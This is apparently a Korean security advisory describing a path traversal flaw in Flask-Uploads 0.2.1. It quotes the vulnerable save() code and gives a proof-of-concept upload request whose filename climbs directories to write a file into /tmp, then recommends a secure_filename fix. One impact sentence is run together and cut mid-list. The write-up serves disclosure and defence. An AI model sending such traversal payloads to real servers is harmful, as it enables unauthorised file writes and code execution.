
Flask-Uploads 0.2.1의 CWE-22 경로 탐색(Path Traversal) 데모. 교육 및 보안 연구 목적으로만 사용하십시오. Python 3.11에서 테스트되었습니다.
Flask-Uploads 0.2.1 버전에는 치명적인 경로 순회 취약점이 존재합니다. 이 라이브러리는 업로드된 파일의 파일명을 파일시스템에 저장하기 전에 제대로 검증(새니타이즈)하지 못합니다.
구체적으로, flask_uploads.py의 save() 메서드는 os.path.join()을 사용하여 업로드 대상 경로와 사용자가 제공한 파일명을 직접 연결합니다. 이로 인해 공격자는 파일명에 ../../와 같은 디렉토리 순회 시퀀스를 포함시켜 서버 파일시스템의 임의 위치에 파일을 쓸 수 있습니다.
파일: flask_uploads.py (v0.2.1의 132번째 줄)
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
애플리케이션은 개발자가 파일명을 검증할 것을 신뢰하지만, 라이브러리 문서는 파일 업로드를 안전하게 처리한다고 암시합니다. 기본적으로 개발자가 요청에서 원시 파일명을 전달하면 취약점으로 이어집니다.
ssh_host_key, 설정 파일)을 덮어쓸 수 있습니다.cgi-bin 또는 알려진 정적 폴더)에 악성 스크립트(예: .php, .py)를 업로드하여 서버에서 임의의 명령을 실행할 수 있습니다.공격자는 조작된 파일명으로 POST 요청을 전송하여 이 취약점을 악용할 수 있습니다:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
서버가 이 파일을 저장하기 위해 Flask-Uploads를 사용하는 경우, 의도된 업로드 디렉토리 대신 /tmp/pwned.txt에 기록됩니다.
라이브러리는 결합된 경로가 의도된 디렉토리 내에 있는지 os.path.abspath와 startswith를 사용하여 확인하거나, 항상 werkzeug.utils.secure_filename과 같은 검증 함수를 사용해야 합니다.
권장 수정:
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)